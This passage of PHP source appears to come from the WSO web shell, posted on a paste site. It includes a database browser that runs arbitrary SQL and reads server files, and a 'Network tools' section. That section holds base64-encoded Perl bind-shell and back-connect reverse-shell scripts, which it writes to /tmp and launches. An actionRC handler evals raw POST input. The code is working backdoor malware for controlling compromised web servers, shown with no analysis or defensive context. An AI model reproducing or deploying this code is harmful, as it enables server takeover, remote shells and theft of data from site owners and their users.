  1805. <td><select name='type'><option value='mysql' ";
  1806. if(@$_POST['type']=='mysql')echo 'selected';
  1807. echo ">MySql</option><option value='pgsql' ";
  1808. if(@$_POST['type']=='pgsql')echo 'selected';
  1809. echo ">PostgreSql</option></select></td>
  1810. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1811. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1812. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1813. $tmp = "<input type=text name=sql_base value=''>";
  1814. if(isset($_POST['sql_host'])){
  1815. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1816. switch($_POST['charset']) {
  1817. case "Windows-1251": $db->setCharset('cp1251'); break;
  1818. case "UTF-8": $db->setCharset('utf8'); break;
  1819. case "KOI8-R": $db->setCharset('koi8r'); break;
  1820. case "KOI8-U": $db->setCharset('koi8u'); break;
  1821. case "cp866": $db->setCharset('cp866'); break;
  1822. }
  1823. $db->listDbs();
  1824. echo "<select name=sql_base><option value=''></option>";
  1825. while($item = $db->fetch()) {
  1826. list($key, $value) = each($item);
  1827. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1828. }
  1829. echo '</select>';
  1830. }
  1831. else echo $tmp;
  1832. }else
  1833. echo $tmp;
  1834. echo "</td>
  1835.  
  1836. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1837. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1838. </tr>
  1839. </table>
  1840. <script>
  1841. s_db='".@addslashes($_POST['sql_base'])."';
  1842. function fs(f) {
  1843. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1844. if(f.p1) f.p1.value='';
  1845. if(f.p2) f.p2.value='';
  1846. if(f.p3) f.p3.value='';
  1847. }
  1848. }
  1849. function st(t,l) {
  1850. d.sf.p1.value = 'select';
  1851. d.sf.p2.value = t;
  1852. if(l && d.sf.p3) d.sf.p3.value = l;
  1853. d.sf.submit();
  1854. }
  1855. function is() {
  1856. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1857. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1858. }
  1859. </script>";
  1860. if(isset($db) && $db->link){
  1861. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1862. if(!empty($_POST['sql_base'])){
  1863. $db->selectdb($_POST['sql_base']);
  1864. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1865. $tbls_res = $db->listTables();
  1866. while($item = $db->fetch($tbls_res)) {
  1867. list($key, $value) = each($item);
  1868. if(!empty($_POST['sql_count']))
  1869. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1870. $value = htmlspecialchars($value);
  1871. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1872. }
  1873. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1874. if(@$_POST['p1'] == 'select') {
  1875. $_POST['p1'] = 'query';
  1876. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1877. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1878. $num = $db->fetch();
  1879. $pages = ceil($num['n'] / 30);
  1880. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1881. echo " of $pages";
  1882. if($_POST['p3'] > 1)
  1883. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1884. if($_POST['p3'] < $pages)
  1885. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1886. $_POST['p3']--;
  1887. if($_POST['type']=='pgsql')
  1888. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1889. else
  1890. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1891. echo "<br><br>";
  1892. }
  1893. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1894. $db->query(@$_POST['p2']);
  1895. if($db->res !== false) {
  1896. $title = false;
  1897. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1898. $line = 1;
  1899. while($item = $db->fetch()) {
  1900. if(!$title) {
  1901. echo '<tr>';
  1902. foreach($item as $key => $value)
  1903. echo '<th>'.$key.'</th>';
  1904. reset($item);
  1905. $title=true;
  1906. echo '</tr><tr>';
  1907. $line = 2;
  1908. }
  1909. echo '<tr class="l'.$line.'">';
  1910. $line = $line==1?2:1;
  1911. foreach($item as $key => $value) {
  1912. if($value == null)
  1913. echo '<td><i>null</i></td>';
  1914. else
  1915. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1916. }
  1917. echo '</tr>';
  1918. }
  1919. echo '</table>';
  1920. } else {
  1921. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1922. }
  1923. }
  1924. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1925. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1926. echo htmlspecialchars($_POST['p2']);
  1927. echo "</textarea><br/><input type=submit value='Execute'>";
  1928. echo "</td></tr>";
  1929. }
  1930. echo "</table></form><br/>";
  1931. if($_POST['type']=='mysql') {
  1932. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1933. if($db->fetch())
  1934. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1935. }
  1936. if(@$_POST['p1'] == 'loadfile') {
  1937. $file = $db->loadFile($_POST['p2']);
  1938. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1939. }
  1940. } else {
  1941. echo htmlspecialchars($db->error());
  1942. }
  1943. echo '</div>';
  1944. wsoFooter();
  1945. }
  1946. function actionNetwork() {
  1947. wsoHeader();
  1948. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1949. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1950. echo "<h1>Network tools</h1><div class=content>
  1951.  
  1952. <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1953. <span>Bind port to /bin/sh [perl]</span><br/>
  1954. Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1955. </form>
  1956. <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1957. <span>Back-connect [perl]</span><br/>
  1958. Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1959.  
  1960. </form><br>";
  1961. if(isset($_POST['p1'])) {
  1962. function cf($f,$t) {
  1963. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1964. if($w){
  1965. @fwrite($w,@base64_decode($t));
  1966. @fclose($w);
  1967. }
  1968. }
  1969. if($_POST['p1'] == 'bpp') {
  1970. cf("/tmp/bp.pl",$bind_port_p);
  1971. $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1972. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1973. unlink("/tmp/bp.pl");
  1974. }
  1975. if($_POST['p1'] == 'bcp') {
  1976. cf("/tmp/bc.pl",$back_connect_p);
  1977. $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1978. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1979. unlink("/tmp/bc.pl");
  1980. }
  1981. }
  1982. echo '</div>';
  1983. wsoFooter();
  1984. }
  1985. function actionRC() {
  1986. if(!@$_POST['p1']) {
  1987. $a = array(
  1988. "uname" => php_uname(),
  1989. "php_version" => phpversion(),
  1990. "wso_version" => WSO_VERSION,
  1991. "safemode" => @ini_get('safe_mode')
  1992. );
  1993. echo serialize($a);
  1994. } else {
  1995. eval($_POST['p1']);
  1996. }
  1997. }
  1998. if( empty($_POST['a']) )
  1999. if(isset($default_action) && function_exists('action' . $default_action))
  2000. $_POST['a'] = $default_action;
  2001. else
  2002. $_POST['a'] = 'SecInfo';
  2003. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2004. call_user_func('action' . $_POST['a']);
  2005. function FetchURL($url) {
  2006. $ch = curl_init();
  2007. curl_setopt($ch, CURLOPT_USERAGENT, "$cheader");
  2008. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2009. curl_setopt($ch, CURLOPT_HEADER, false);
  2010. curl_setopt($ch, CURLOPT_URL, $url);
  2011. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2012. curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  2013. $data = curl_exec($ch);
  2014. if(!$data) {
  2015. return false;
  2016. }
  2017. return $data;
  2018. }
  2019. exit;
  2020. ?>
Add Comment
Please, Sign In to add comment